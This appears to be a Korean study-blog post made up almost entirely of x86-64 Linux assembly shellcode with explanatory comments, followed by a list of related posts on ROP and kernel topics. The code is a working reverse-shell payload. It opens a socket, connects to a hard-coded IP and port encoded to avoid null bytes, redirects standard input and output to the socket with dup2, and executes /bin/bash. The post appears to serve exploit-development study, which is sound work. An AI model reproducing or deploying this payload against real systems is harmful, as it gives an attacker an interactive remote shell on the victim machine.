SMALL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | bits 64 ;#define __NR_execve 59 ;#define __NR_connect 42 ;#define __NR_socket 41 ; rax systemcall number ; rdi 1 ; rsi 2 ; rdx 3 ; r10 4 ; r8 5 ; r9 6 ; rax return value global main section .text main: ;sock = socket(AF_INET, SOCK_STREAM, 0)" cdq ; 3번째 인자 rdx 0 push byte 1 ; 2번째 인자 rsi 1 pop rsi ; -- push byte 2 ; 1번째 인자 rdi 2 pop rdi ; -- push byte 41 ; syscall setting pop rax ; -- syscall ; call socket xchg r8, rax ; socket descriptor save into r8 ;struct socketaddr_in ;sin_family_t word 메모리 구성 --> stack 구성 생각 ;sin_port word ;sin_addr dword ;sin_zero long long ;2 + 2 + 4 +8 == 16 바이트 ;64bit여서 8byte 씩 push 됨 ; ip(4byte) + port(2byte) + sin_family(2byte) 순서로 ; 2byte 처리할 때 null 값을 처리하기 inverse 시킨후 다시 inverse 시켜줌 mov rax, ~0xdd47cbaf901f0002 ; ~(ip + port + family value) not rax ; ip + port + family value push rax ; 스택에 저장 push rsp ; 구조체가 저장된 포인터 값 저장 pop rsi ; coonect 함수의 2번째 인자 ;connect(sock, (struct sockaddr*)&server, len); mov rdi, r8 ; connect 함수의 첫번째 인자 설정 push byte 16 ; connect 함수의 세번째 인자 설정 pop rdx ; -- push byte 42 ; syscall connect setting pop rax ; -- syscall ; dup(sock,0). dup(sock,1), dup(sock,2) ; 위에서 첫번째 인자로 소켓이설정되어 있음 cdq ; rdx = 0 mov rsi, rdx ; rsi = 0, 두번째 인자 0 loop1: cmp rsi, 3 ; 0,1,2 repeat je loop2 push byte 33 ; syscall dup2 setting pop rax ; -- syscall ; call inc rsi ; 0,1,2 repeat jmp loop1 loop2: ;execve("/bin/bash",["/bin/bash",\0],\0) ;/bin/bash ; rdx는 세번째 인자 push rdx ; null pointer mov r8, 0x687361622f6e6962 ; bin/bash push r8 mov r8,0x2f90909090909090 ; / push r8 lea rdi, [rsp+7] ; 첫번째 인자 ; /bin/bash pointer setting push rdx ;null push rdi ; /bin/sh pointer mov rsi, rsp ; args double pointer 2번째 인자 push byte 59 pop rax syscall | cs |
LIST
'학부_대학원 > 대학원_학과공부정리' 카테고리의 다른 글
ROP 문제풀이 (0) | 2017.09.23 |
---|---|
x64, x32bit multi_arch shellcode [번역] (0) | 2017.09.06 |
리눅스 커널 부팅 과정[0] (0) | 2017.08.22 |
리눅스 커널 이미지 구조 (0) | 2017.08.22 |
VFS - Virtual File System[1] (0) | 2017.05.06 |